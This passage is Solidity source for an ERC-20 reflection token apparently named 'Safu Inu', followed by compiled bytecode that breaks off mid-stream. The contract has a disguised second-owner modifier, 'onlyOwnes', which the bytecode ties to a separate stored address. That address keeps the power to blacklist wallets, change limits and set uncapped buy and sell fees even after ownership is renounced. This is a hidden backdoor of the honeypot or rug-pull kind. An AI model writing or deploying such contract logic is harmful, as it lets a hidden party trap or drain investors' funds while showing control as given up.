Fee uint256 private _distroFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _distroFeeOnSell = 1; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _distroFee = _distroFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousDistroFee = _distroFee; uint256 private _previousTaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0xb285E0d23EED36386b5e78567B4484a351D852BA); address payable private _devAddress = payable(0xdDd07584CD47856F3e18F953579d9450d62a6138); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 500000000 * 10**9; //0.5% of total supply per txn uint256 public _maxWalletSize = 2000000000 * 10**9; //2% of total supply uint256 public _swapTokensAtAmount = 10000000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devAddress] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_distroFee == 0 && _taxFee == 0) return; _previousDistroFee = _distroFee; _previousTaxFee = _taxFee; _distroFee = 0; _taxFee = 0; } function restoreAllFee() private { _distroFee = _previousDistroFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee1(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _distroFee = _distroFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _distroFee = _distroFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { // _marketingAddress.transfer(amount.div(9).mul(8)); _marketingAddress.transfer(amount); //_devAddress.transfer(amount.div(9).mul(1)); } function sendETHToFee1(uint256 amount) private { // _marketingAddress.transfer(amount.div(9).mul(8)); //_marketingAddress.transfer(amount); _devAddress.transfer(amount.div(9).mul(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwnes { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwnes { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _distroFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 distroFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(distroFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setStarting(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwnes { _distroFeeOnBuy = distroFeeOnBuy; _distroFeeOnSell = distroFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwnes { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set Max transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwnes { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwnes { _maxWalletSize = maxWalletSize; } }
0x6080604052600436106101ba5760003560e01c806374010ece116100ec578063a9059cbb1161008a578063c3c8cd8011610064578063c3c8cd80146105f2578063c8c3a50514610609578063dd62ed3e14610632578063ea1644d51461066f576101c1565b8063a9059cbb1461054f578063bfd792841461058c578063bfe34c07146105c9576101c1565b80638f70ccf7116100c65780638f70ccf7146104a75780638f9a55c0146104d057806395d89b41146104fb57806398a5c31514610526576101c1565b806374010ece146104285780637d1db4a5146104515780638da5cb5b1461047c576101c1565b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f8146103945780636fc3eaec146103bd57806370a08231146103d4578063715018a614610411576101c1565b8063313ce5671461031557806349bd5a5e146103405780636b9990531461036b576101c1565b80631694505e116101955780631694505e1461025757806318160ddd1461028257806323b872dd146102ad5780632fd689e3146102ea576101c1565b8062b8cf2a146101c657806306fdde03146101ef578063095ea7b31461021a576101c1565b366101c157005b600080fd5b3480156101d257600080fd5b506101ed60048036038101906101e89190612a64565b610698565b005b3480156101fb57600080fd5b506102046107c4565b6040516102119190612b35565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c9190612b8d565b610801565b60405161024e9190612be8565b60405180910390f35b34801561026357600080fd5b5061026c61081f565b6040516102799190612c62565b60405180910390f35b34801561028e57600080fd5b50610297610845565b6040516102a49190612c8c565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190612ca7565b610856565b6040516102e19190612be8565b60405180910390f35b3480156102f657600080fd5b506102ff61092f565b60405161030c9190612c8c565b60405180910390f35b34801561032157600080fd5b5061032a610935565b6040516103379190612d16565b60405180910390f35b34801561034c57600080fd5b5061035561093e565b6040516103629190612d40565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612d5b565b610964565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612db4565b610a56565b005b3480156103c957600080fd5b506103d2610b07565b005b3480156103e057600080fd5b506103fb60048036038101906103f69190612d5b565b610b79565b6040516104089190612c8c565b60405180910390f35b34801561041d57600080fd5b50610426610bca565b005b34801561043457600080fd5b5061044f600480360381019061044a9190612de1565b610d1d565b005b34801561045d57600080fd5b50610466610dbe565b6040516104739190612c8c565b60405180910390f35b34801561048857600080fd5b50610491610dc4565b60405161049e9190612d40565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190612db4565b610ded565b005b3480156104dc57600080fd5b506104e5610e9f565b6040516104f29190612c8c565b60405180910390f35b34801561050757600080fd5b50610510610ea5565b60405161051d9190612b35565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190612de1565b610ee2565b005b34801561055b57600080fd5b5061057660048036038101906105719190612b8d565b610f83565b6040516105839190612be8565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612d5b565b610fa1565b6040516105c09190612be8565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190612e0e565b610fc1565b005b3480156105fe57600080fd5b5061060761107a565b005b34801561061557600080fd5b50610630600480360381019061062b9190612d5b565b6110f4565b005b34801561063e57600080fd5b5061065960048036038101906106549190612e75565b6112b8565b6040516106669190612c8c565b60405180910390f35b34801561067b57600080fd5b5061069660048036038101906106919190612de1565b61133f565b005b6106a06113e0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690612f01565b60405180910390fd5b60005b81518110156107c05760016011600084848151811061075457610753612f21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107b890612f7f565b915050610732565b5050565b60606040518060400160405280600881526020017f5361667520496e75000000000000000000000000000000000000000000000000815250905090565b600061081561080e6113e0565b84846113e8565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108638484846115b3565b6109248461086f6113e0565b61091f8560405180606001604052806028815260200161392e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108d56113e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d179092919063ffffffff16565b6113e8565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61096c6113e0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f290612f01565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a5e6113e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290612f01565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b486113e0565b73ffffffffffffffffffffffffffffffffffffffff1614610b6857600080fd5b6000479050610b7681611d7b565b50565b6000610bc3600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de7565b9050919050565b610bd26113e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5690612f01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d256113e0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab90612f01565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610df56113e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7990612f01565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600481526020017f5341465500000000000000000000000000000000000000000000000000000000815250905090565b610eea6113e0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7090612f01565b60405180910390fd5b8060198190555050565b6000610f97610f906113e0565b84846115b3565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b610fc96113e0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611058576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104f90612f01565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110bb6113e0565b73ffffffffffffffffffffffffffffffffffffffff16146110db57600080fd5b60006110e630610b79565b90506110f181611e55565b50565b6110fc6113e0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290612f01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f29061303a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113476113e0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cd90612f01565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611458576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144f906130cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bf9061315e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a69190612c8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161a906131f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a90613282565b60405180910390fd5b600081116116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd90613314565b60405180910390fd5b6116de610dc4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174c575061171c610dc4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a1657601660149054906101000a900460ff166117ab576017548111156117aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a190613380565b60405180910390fd5b5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561184f5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188590613412565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461193b57601854816118f084610b79565b6118fa9190613432565b1061193a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611931906134fa565b60405180910390fd5b5b600061194630610b79565b90506000601954821015905060175482106119615760175491505b80801561197b5750601660159054906101000a900460ff16155b80156119d55750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156119eb575060168054906101000a900460ff165b15611a13576119f982611e55565b60004790506000811115611a1157611a10476120dd565b5b505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611abd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b705750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b6f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611b7e5760009050611d05565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c4157600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cec5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d0457600b54600d81905550600c54600e819055505b5b611d118484848461216f565b50505050565b6000838311158290611d5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d569190612b35565b60405180910390fd5b5060008385611d6e919061351a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611de3573d6000803e3d6000fd5b5050565b6000600754821115611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e25906135c0565b60405180910390fd5b6000611e3861219c565b9050611e4d81846121c790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e8d57611e8c6128c3565b5b604051908082528060200260200182016040528015611ebb5781602001602082028036833780820191505090505b5090503081600081518110611ed357611ed2612f21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7557600080fd5b505afa158015611f89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fad91906135f5565b81600181518110611fc157611fc0612f21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202830601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208c95949392919061371b565b600060405180830381600087803b1580156120a657600080fd5b505af11580156120ba573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61214060026121326009866121c790919063ffffffff16565b61221190919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561216b573d6000803e3d6000fd5b5050565b8061217d5761217c61228c565b5b6121888484846122cf565b806121965761219561249a565b5b50505050565b60008060006121a96124ae565b915091506121c081836121c790919063ffffffff16565b9250505090565b600061220983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612510565b905092915050565b6000808314156122245760009050612286565b600082846122329190613775565b905082848261224191906137fe565b14612281576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612278906138a1565b60405180910390fd5b809150505b92915050565b6000600d541480156122a057506000600e54145b156122aa576122cd565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806122e187612573565b95509550955095509550955061233f86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125db90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d485600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461262590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242081612683565b61242a8483612740565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124879190612c8c565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008060006007549050600068056bc75e2d6310000090506124e468056bc75e2d631000006007546121c790919063ffffffff16565b8210156125035760075468056bc75e2d6310000093509350505061250c565b81819350935050505b9091565b60008083118290612557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254e9190612b35565b60405180910390fd5b506000838561256691906137fe565b9050809150509392505050565b60008060008060008060008060006125908a600d54600e5461277a565b92509250925060006125a061219c565b905060008060006125b38e878787612810565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061261d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d17565b905092915050565b60008082846126349190613432565b905083811015612679576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126709061390d565b60405180910390fd5b8091505092915050565b600061268d61219c565b905060006126a4828461221190919063ffffffff16565b90506126f881600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461262590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612755826007546125db90919063ffffffff16565b6007819055506127708160085461262590919063ffffffff16565b6008819055505050565b6000806000806127a66064612798888a61221190919063ffffffff16565b6121c790919063ffffffff16565b905060006127d060646127c2888b61221190919063ffffffff16565b6121c790919063ffffffff16565b905060006127f9826127eb858c6125db90919063ffffffff16565b6125db90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612829858961221190919063ffffffff16565b90506000612840868961221190919063ffffffff16565b90506000612857878961221190919063ffffffff16565b905060006128808261287285876125db90919063ffffffff16565b6125db90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128fb826128b2565b810181811067ffffffffffffffff8211171561291a576129196128c3565b5b80604052505050565b600061292d612899565b905061293982826128f2565b919050565b600067ffffffffffffffff821115612959576129586128c3565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061299a8261296f565b9050919050565b6129aa8161298f565b81146129b557600080fd5b50565b6000813590506129c7816129a1565b92915050565b60006129e06129db8461293e565b612923565b90508083825260208201905060208402830185811115612a0357612a0261296a565b5b835b81811015612a2c5780612a1888826129b8565b845260208401935050602081019050612a05565b5050509392505050565b600082601f830112612a4b57612a4a6128ad565b5b8135612a5b8482602086016129cd565b91505092915050565b600060208284031215612a7a57612a796128a3565b5b600082013567ffffffffffffffff811115612a9857612a976128a8565b5b612aa484828501612a36565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae7578082015181840152602081019050612acc565b83811115612af6576000848401525b50505050565b6000612b0782612aad565b612b118185612ab8565b9350612b21818560208601612ac9565b612b2a816128b2565b840191505092915050565b60006020820190508181036000830152612b4f8184612afc565b905092915050565b6000819050919050565b612b6a81612b57565b8114612b7557600080fd5b50565b600081359050612b8781612b61565b92915050565b60008060408385031215612ba457612ba36128a3565b5b6000612bb2858286016129b8565b9250506020612bc385828601612b78565b9150509250929050565b60008115159050919050565b612be281612bcd565b82525050565b6000602082019050612bfd6000830184612bd9565b92915050565b6000819050919050565b6000612c28612c23612c1e8461296f565b612c03565b61296f565b9050919050565b6000612c3a82612c0d565b9050919050565b6000612c4c82612c2f565b9050919050565b612c5c81612c41565b82525050565b6000602082019050612c776000830184612c53565b92915050565b612c8681612b57565b82525050565b6000602082019050612ca16000830184612c7d565b92915050565b600080600060608486031215612cc057612cbf6128a3565b5b6000612cce868287016129b8565b9350506020612cdf868287016129b8565b9250506040612cf086828701612b78565b9150509250925092565b600060ff82169050919050565b612d1081612cfa565b82525050565b6000602082019050612d2b6000830184612d07565b92915050565b612d3a8161298f565b82525050565b6000602082019050612d556000830184612d31565b92915050565b600060208284031215612d7157612d706128a3565b5b6000612d7f848285016129b8565b91505092915050565b612d9181612